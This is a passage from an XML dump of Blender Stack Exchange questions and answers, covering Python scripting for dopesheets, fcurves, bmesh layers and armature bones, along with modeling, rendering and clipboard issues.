href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.DopeSheet.html#bpy.types.DopeSheet&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.types.DopeSheet&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.FCurve.html#module-bpy.types&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.types.FCurve&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you are using an operator which will be called from the graph editor, the space data is available from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;space = context.space_data&#xA;dopesheet = space.dopesheet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I.e.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dopesheet.show_only_selected = True&#xA;#select the objects you want to show&#xA;obj.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#show only objects from the group named 'Group'&#xA;dopesheet.filter_group = bpy.data.groups['Group']&#xA;dopesheet.show_only_group_objects = True&#xA;&#xA;#don't show object transformations and scene properties&#xA;dopesheet.show_transforms = False&#xA;dopesheet.show_scenes = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hide a fcurve:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#only accessible by index&#xA;fcurve = obj.animation_data.action.fcurves[0].hide = True&#xA;#fcurve's attributes data_path, array_index provide more information about it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or select it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fcurve = obj.animation_data.action.fcurves[0].select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;If the object has not been animated:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The minimum requirement to show up in the graph curve is existent animation data with an action assigned to it which possesses at least one fcurve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the object has not been animated yet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if not obj.animation_data:&#xA;    obj.animation_data_create()&#xA;    obj.animation_data.action = bpy.data.actions.new('myAction')&#xA;    #create an fcurve for the x coordinate&#xA;    obj.animation_data.action.fcurves.new(&quot;location, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-17T15:56:33.010" LastActivityDate="2014-02-17T15:56:33.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7096" PostTypeId="2" ParentId="7094" CreationDate="2014-02-17T13:19:53.710" Score="4" Body="&lt;p&gt;It is possible to &lt;em&gt;tag&lt;/em&gt; vertices with the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bmesh.html#customdata-access&quot; rel=&quot;nofollow&quot;&gt;bmesh module&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm = bmesh.from_edit_mesh(obj.data)&#xA;#or&#xA;bm = bmesh.new()&#xA;bm.from_mesh(obj.data)&#xA;&#xA;#create custom data layers&#xA;my_id = bm.verts.layers.int.new('id')&#xA;&#xA;#get the custom data layer by its name&#xA;my_id = bm.verts.layers.int['id']&#xA;&#xA;#access&#xA;bm.verts[0][my_id] = 42&#xA;&#xA;#apply the changes&#xA;bmesh.update_edit_mesh(obj.data)&#xA;#or&#xA;bm.to_mesh(obj.data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="55" LastEditDate="2014-02-19T03:21:06.997" LastActivityDate="2014-02-19T03:21:06.997" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7097" PostTypeId="1" CreationDate="2014-02-17T15:37:52.067" Score="3" ViewCount="2124" Body="&lt;p&gt;I am trying to simply move a bone that has been parented to a mesh in Blender 2.69. I want to do this in real-time - while the BGE is running. I linked an Always logic block to the python code seen below. Can anyone point out to me why this code does not move the 'Bone'? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   import bpy&#xA;import bge&#xA;import GameLogic as GL&#xA;#&quot;bge.types.BL_ArmatureChannel(PyObjectPlus)&quot; in the documentation means that BL_ArmatureChannel is a subclass of PyObjectPlus. &#xA;import mathutils&#xA;&#xA;# The owner is an armature, so 'alien' will be a BL_ArmatureObject instead of KX_GameObject&#xA;cont1 = bge.logic.getCurrentController() #makes: SCA_PythonController &#xA;cubeBone=cont1.owner #makes: BL_ArmatureObject&#xA;#get the scene for the mouse and other things &#xA;scene=bge.logic.getCurrentScene()&#xA;#get a keyboard &#xA;keyboard = bge.logic.keyboard&#xA;&#xA;&#xA;def main1():        &#xA;&#xA;    if bge.logic.KX_INPUT_ACTIVE == keyboard.events[bge.events.DOWNARROWKEY]:&#xA;        #cubeBone.channels['Bone'].location = mathutils.Vector([3, 5, 8])&#xA;        print (cubeBone.channels) #prints the channes available &#xA;        print(cubeBone.channels['Bone'].rotation_euler)&#xA;        print(cubeBone.channels['Bone'].joint_rotation)&#xA;        #class: bge.types.KX_GameObject(SCA_IObject)&#xA;        #cubeBone.channels('Bone').localPosition.z +=0.1 &#xA;        #cubeBone.channels('Bone').rotation_mode'XYZ'&#xA;        #cubeBone.channels('Bone').rotation_euler([5,5,5])&#xA;        #cubeBone.channels('Bone').joint_rotation([0.0,0.0,0.1], True)&#xA;        cubeBone.channels['Bone'].rotation_mode = GL.ROT_MODE_XYZ&#xA;        cubeBone.channels['Bone'].rotation_euler=[25,25,25] #BL_ArmatureChannel.rotation_euler&#xA;        print(&quot;bone moved&quot;)&#xA;        cubeBone.update()&#xA;        print(cubeBone.channels['Bone'].rotation_euler)&#xA;############# end of main ###############################  &#xA;&#xA;main1()&#xA;cubeBone.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Console prints out the new vectors that are changed, but the animation does not move.&#xA;I found this post: &lt;a href=&quot;https://blender.stackexchange.com/questions/2256/controlling-armature-through-python?rq=1&quot;&gt;Controlling armature through python&lt;/a&gt; but there are mixed answers and they are not very helpful for noobs. &#xA;Thanks guys &lt;/p&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2017-10-20T20:02:13.027" Title="bone/armature movements during game play" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7099" PostTypeId="1" AcceptedAnswerId="7101" CreationDate="2014-02-17T16:39:42.177" Score="4" ViewCount="6258" Body="&lt;p&gt;&lt;a href=&quot;http://www.raywenderlich.com/49955/blender-tutorial-for-beginners-how-to-make-a-mushroom&quot; rel=&quot;nofollow noreferrer&quot;&gt;This tutorial&lt;/a&gt; mentions that it's possible to rotate and scale a selection while in &lt;em&gt;Edge Select&lt;/em&gt; mode in the &lt;em&gt;Properties&lt;/em&gt; panel. However, I can only find the option to transform the selection's median. There is no rotation or scale option in the panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SjGge.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I rotate and scale by entering a value in the panel in &lt;em&gt;Edit Mode&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2500" LastEditorUserId="743" LastEditDate="2014-02-17T20:59:25.160" LastActivityDate="2014-02-18T01:55:46.743" Title="How do I rotate and scale edges in Edit Mode?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7100" PostTypeId="2" ParentId="7094" CreationDate="2014-02-17T16:48:44.540" Score="2" Body="&lt;p&gt;You can count vertices on export and use that instead of the vertex indices:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;c = 0&#xA;&#xA;for ob in bpy.context.scene.objects:&#xA;    if ob.type == 'MESH':&#xA;        me = ob.data&#xA;        print(&quot;Mesh %s (%s):&quot; % (me.name, ob.name))&#xA;&#xA;        for i, v in enumerate(me.vertices, c):&#xA;            print(&quot;  Vert %i - %i&quot; % (i, v.index))&#xA;        c += len(me.vertices)&#xA;        print()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here all selected verts of all mesh objects in scene:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Simple&#xA;&#xA;def count_selected_verts(file):&#xA;    c = 0&#xA;&#xA;    for ob in bpy.context.scene.objects:&#xA;        if ob.type == 'MESH':&#xA;            if ob.mode == 'EDIT':&#xA;                ob.update_from_editmode()&#xA;            me = ob.data&#xA;            file.write(&quot;Mesh %s (%s):&quot; % (me.name, ob.name))&#xA;&#xA;            for v in me.vertices:&#xA;                if v.select:&#xA;                    file.write(&quot;%5i - Vert %i\n&quot; % (c, v.index))&#xA;                    c += 1&#xA;    file.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Pythonic - generator and list comprehension with a hacky filter&#xA;&#xA;# This is infinite, don't cast to sequence!&#xA;def countup():&#xA;    i = 0&#xA;    while True:&#xA;        yield i&#xA;        i += 1&#xA;&#xA;def ob_update(ob):&#xA;    # Prints all mesh objects at the top of the file :/&#xA;    #file.write(&quot;Mesh %s (%s):&quot; % (ob.data.name, ob.name))&#xA;    if ob.mode == 'EDIT':&#xA;        ob.update_from_editmode()&#xA;    return True&#xA;&#xA;&#xA;def count_selected_verts_gen(file):&#xA;    c = countup()&#xA;    for ob in bpy.context.scene.objects:&#xA;        if ob.type == 'MESH' and ob_update(ob):&#xA;            file.write(&quot;Mesh %s (%s):&quot; % (me.name, ob.name))&#xA;            file.write(&quot;\n&quot;.join(&quot;%5i - Vert %i&quot; % (c.__next__(), v.index)&#xA;                for v in ob.data.vertices if v.select)&#xA;            )&#xA;    file.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compared the performance: 22.0 vs. 9.4 secs (pythonic is win!).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-02-18T01:54:18.620" LastActivityDate="2014-02-18T01:54:18.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7101" PostTypeId="2" ParentId="7099" CreationDate="2014-02-17T16:52:51.673" Score="9" Body="&lt;p&gt;The &lt;strong&gt;Transform&lt;/strong&gt; panel in the &lt;strong&gt;Properties&lt;/strong&gt; tab is only for moving mesh elements.&#xA;In Edit mode, you can transform the mesh using the &lt;strong&gt;Properties&lt;/strong&gt; tab. In the top right of the &lt;strong&gt;Properties&lt;/strong&gt; tab, you can see a &lt;strong&gt;Transform&lt;/strong&gt; panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PYjg2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With mesh elements selected you can move them by &lt;strong&gt;Transform tab&lt;/strong&gt;. Like you said, they only allow you to move them.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to scale and rotate you use transform menu in the tool tab. Press &lt;kbd&gt;T&lt;/kbd&gt; to open the tool tab. On the top left you will see the &lt;strong&gt;Transform&lt;/strong&gt; panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Expph.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can click on this to interactively move mesh elements. After that, you can revise it in the &lt;strong&gt;Operator&lt;/strong&gt; tab at the bottom of the tool tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6nfVj.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;img src=&quot;https://i.stack.imgur.com/QLRgz.png&quot; alt=&quot;enter image description here&quot;&gt;   &lt;img src=&quot;https://i.stack.imgur.com/DbGMR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The most popular method of doing these transforms is with the keyboard shortcuts. Using the keyboard shortcuts instead of the GUI is a lot faster and will speed up your workflow. With your cursor in the 3d view you can do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;G&lt;/kbd&gt;: grab, aka. move or translate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;R&lt;/kbd&gt;: rotate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;S&lt;/kbd&gt;: scale&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also specify an axis for the transform by pressing &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt; once you are in one of the transform modes. You can exclude an axis from the transform by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;axis&lt;/kbd&gt;.&#xA;You can specify the exact amount of transform by pressing the numbers once in transform mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;2&lt;/kbd&gt; move 2 units along x axis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;R&lt;/kbd&gt;,&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;,&lt;kbd&gt;9&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt; rotate 90 degrees along the x and y axis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;2&lt;/kbd&gt; scale by a factor of 2&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-02-18T01:55:46.743" LastActivityDate="2014-02-18T01:55:46.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7102" PostTypeId="1" CreationDate="2014-02-17T17:02:19.607" Score="2" ViewCount="2822" Body="&lt;p&gt;I'm trying to make a chain of &quot;segments&quot;, meaning I have 3 bones in a setup and I'd like to replicate them along the z-axis. I use a for loop to duplicate the entire armature, my object and then rename the bones of each segment. Which works best for vertex groups assignment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; to join the meshes as well as the armatures. When I go into &lt;em&gt;Edit Mode&lt;/em&gt; for the mesh, I can just use &lt;em&gt;Remove Doubles&lt;/em&gt; to connect the pieces, but here is my problem: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I join the armatures, I have a chain of bones that are not parented, so I was trying to find a method that does something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for bone in arm.pose.bones:&#xA;  i += 1 &#xA;  bone[i].parent = bone[i-1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(pseudocode, but I hope you know what I mean)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But bone parent is read-only and the &lt;code&gt;ops.pose.parent_set()&lt;/code&gt; only works if there is an active bone, but I could not figure out how to change the active bone. &lt;code&gt;bone.select&lt;/code&gt; seems to always be &lt;code&gt;True&lt;/code&gt;, so I'm not entirely sure how to us the ops. I hope there is a better way, like with objects, where you can just assign your parent object/bone.&lt;/p&gt;&#xA;" OwnerUserId="2477" LastEditorUserId="1363" LastEditDate="2014-02-17T23:52:16.183" LastActivityDate="2014-02-18T00:01:36.813" Title="How do I connect a bone to another bone via python script" Tags="&lt;python&gt;&lt;armature&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7103" PostTypeId="1" CreationDate="2014-02-17T18:52:22.623" Score="4" ViewCount="479" Body="&lt;p&gt;I have an empty and a curve with locations both set at the origin (0,0,0) of my scene. The empty precisely follows the curve using a &quot;follow path&quot; constraint with the curve having &quot;Path Animation&quot; checked and key frames set on the timeline. I would like to know the coordinates (global) of the empty as its position is modified by the curve along the timeline. As I scrub the timeline and visually watch the empty follow the curve path, I can't find anything in the properties panels to indicate the transformed coordinates of the empty, its location always reads (0,0,0). How would I find this info to use say in a driver?&lt;/p&gt;&#xA;" OwnerUserId="2502" LastActivityDate="2014-02-17T18:52:22.623" Title="Get coordinates of object following curve using follow path constraint" Tags="&lt;objects&gt;&lt;constraints&gt;&lt;coordinates&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="3" ClosedDate="2015-10-17T22:03:53.943" ContentLicense="CC BY-SA 3.0" />
  <row Id="7104" PostTypeId="2" ParentId="7102" CreationDate="2014-02-17T18:58:06.113" Score="2" Body="&lt;p&gt;Parenting is done in &lt;strong&gt;edit&lt;/strong&gt; mode where you setup the armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;arm.pose.bones&lt;/code&gt; already indicates it is related to posing bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arm.data.edit_bones['yourBone'].parent = arm.data.edit_bones['parentBone']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-18T00:01:36.813" LastActivityDate="2014-02-18T00:01:36.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7105" PostTypeId="1" CreationDate="2014-02-17T20:04:57.087" Score="6" ViewCount="1676" Body="&lt;p&gt;I am wondering if and how to add your own picture here.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OMJYr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2503" LastActivityDate="2018-04-17T18:09:29.110" Title="Change the window icon on an executable" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7106" PostTypeId="1" CreationDate="2014-02-17T20:19:40.563" Score="2" ViewCount="998" Body="&lt;p&gt;Given a pixel on the rendered image, is there any easy way to get the 3D location that the pixel corresponds to in the scene using python? i would really like to know before I go through trying to do the math to get it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case it makes a difference, I'm using an orthographic camera.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2014-09-09T02:26:21.030" Title="Get location in scene for pixel?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;image&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7107" PostTypeId="2" ParentId="7105" CreationDate="2014-02-17T20:33:44.607" Score="10" Body="&lt;p&gt;On &lt;strong&gt;Windows&lt;/strong&gt;, the icon is embedded in Blenderplayer.exe. You can either...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender/Windows&quot; rel=&quot;nofollow noreferrer&quot;&gt;Build Blender&lt;/a&gt; yourself from source code, with the modified icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Replace it &lt;a href=&quot;https://stackoverflow.com/questions/14370553/changing-the-icon-of-an-exe-file-in-windows-7&quot;&gt;after-the-fact&lt;/a&gt; with another tool like Resource Hacker.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On &lt;strong&gt;Mac OS X&lt;/strong&gt;, the icon file is part of the app bundle. To replace it is as simple as modifying the &lt;code&gt;blender player icon.icns&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-02-17T20:33:44.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7108" PostTypeId="1" AcceptedAnswerId="7109" CreationDate="2014-02-17T20:59:50.013" Score="4" ViewCount="88" Body="&lt;p&gt;If you highlight text in Blender and press &lt;kbd&gt;CTL&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to copy it, then quit Blender, you can no longer paste that text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-02-25T20:47:26.743" Title="Clipboard erased when quitting Blender on Ubuntu" Tags="&lt;linux&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7109" PostTypeId="2" ParentId="7108" CreationDate="2014-02-17T20:59:50.013" Score="5" Body="&lt;p&gt;I posted a &lt;a href=&quot;https://developer.blender.org/T38674&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug report&lt;/a&gt; on this, but apparently it's not Blender's fault.&lt;/p&gt;&#xA;&lt;p&gt;As Sergey explained in the bug report, Blender only instructs the &lt;a href=&quot;https://en.wikipedia.org/wiki/Clipboard_manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;clipboard manager&lt;/a&gt; to save the text, but in Ubuntu, this is a bug that affects many programs.  You can read more about why it happens &lt;a href=&quot;https://wiki.ubuntu.com/ClipboardPersistence&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Going to the Ubuntu Software Center and installing the application &lt;code&gt;Parcellite&lt;/code&gt;, which is an alternative clipboard manager has fixed the problem for me.&lt;/p&gt;&#xA;&lt;p&gt;EDIT: I also had some problems with &lt;code&gt;Parcellite&lt;/code&gt; and Blender working together.  You could try a different clipboard manager.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-02-25T20:47:26.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7110" PostTypeId="1" AcceptedAnswerId="7124" CreationDate="2014-02-17T21:07:17.203" Score="2" ViewCount="732" Body="&lt;p&gt;I keyframed two poses and expected the arm to move upward (shortest way) like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zd7XW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what actually happens is that the lower arm moves the other way around to reach the second pose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OKLcH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the interpolated movement always clockwise? Can the direction be influenced, or could there be some other reason for this behaviour?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use quaternions if this matters.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-02-18T08:34:57.287" Title="How is the direction of interpolation determined?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7111" PostTypeId="2" ParentId="7087" CreationDate="2014-02-17T21:10:58.593" Score="3" Body="&lt;p&gt;I have gotten much better results (even with tiny objects) by using &lt;em&gt;Box&lt;/em&gt; as the collision shape for the floor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's generally good practice to use manifold objects and primitive collision shapes wherever possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T2YMp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/26903&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example file&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-02-17T21:19:12.237" LastActivityDate="2014-02-17T21:19:12.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7112" PostTypeId="2" ParentId="7110" CreationDate="2014-02-17T21:23:51.963" Score="0" Body="&lt;p&gt;I believe it depends on which direction you actually rotate it in in the 3D view. Try remaking it, making sure to rotate it in the same direction you want it to rotate during the animation (and not to rotate it more than 180 degrees).&lt;/p&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2014-02-17T21:23:51.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7113" PostTypeId="1" AcceptedAnswerId="7128" CreationDate="2014-02-17T23:18:43.297" Score="3" ViewCount="930" Body="&lt;p&gt;I am setting up an aluminum material using Blender's internal renderer. It gives me a strange output. I attached 2 screenshots below, one is the render output and the other is the texture settings to achieve the anisotropic effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RgBt9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following image is the texture settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oEqUi.png&quot; alt=&quot;Texture setting to achieve the brushed aluminum effect&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do an edge subdivision at the spot where the anisotropic effect looks wonky, the wonkiness shifts upwards. What did I do wrong? How should I fix this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;Following @CharlesL ' s comment, I attached a screenshot showing all normals are pointing outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yRue8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/k234jfewvs5giia/for%20BlenderSE.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;This is the .BLEND file for your analysis.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="696" LastEditDate="2014-02-18T05:31:52.193" LastActivityDate="2014-03-15T17:50:41.527" Title="Strange anisotropic artifacts?" Tags="&lt;rendering&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7114" PostTypeId="2" ParentId="7040" CreationDate="2014-02-17T23:38:03.657" Score="1" Body="&lt;p&gt;Isnt the result of distant light, arriving from an earlier event that it changes frequency?  That is red shifts.&#xA;Alternitively perhaps you could isolate the reference frame with layers and duplicate the animation so that the distant animation can be composited with a time delay.&#xA;That is local frame animation on layer one, scene one.&#xA;Distant frame animation on layer two, scene one.&#xA;Animate together.&#xA;Duplicate all layers to scene two. Render both. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Composite foreground scene one onto background or distant scene two layer two. Delay frame offset value of image sequence. &lt;/p&gt;&#xA;" OwnerUserId="1226" LastActivityDate="2014-02-17T23:38:03.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7116" PostTypeId="1" AcceptedAnswerId="7118" CreationDate="2014-02-18T02:31:58.370" Score="1" ViewCount="141" Body="&lt;p&gt;My addon renders frames whose names are not constant.  How can I use Python to get the playback to work?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a time remapping addon and wanted to give the user the option to include the true frame number in the filename, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1.00_0001.png&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1.25_0002.png&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1.50_0003.png&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &lt;code&gt;bpy.ops.render.play_rendered_anim()&lt;/code&gt; doesn't work on these, although importing these images into the Video Editor works fine.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-02-18T03:19:32.230" Title="Use Animation Playback when frames have different names" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
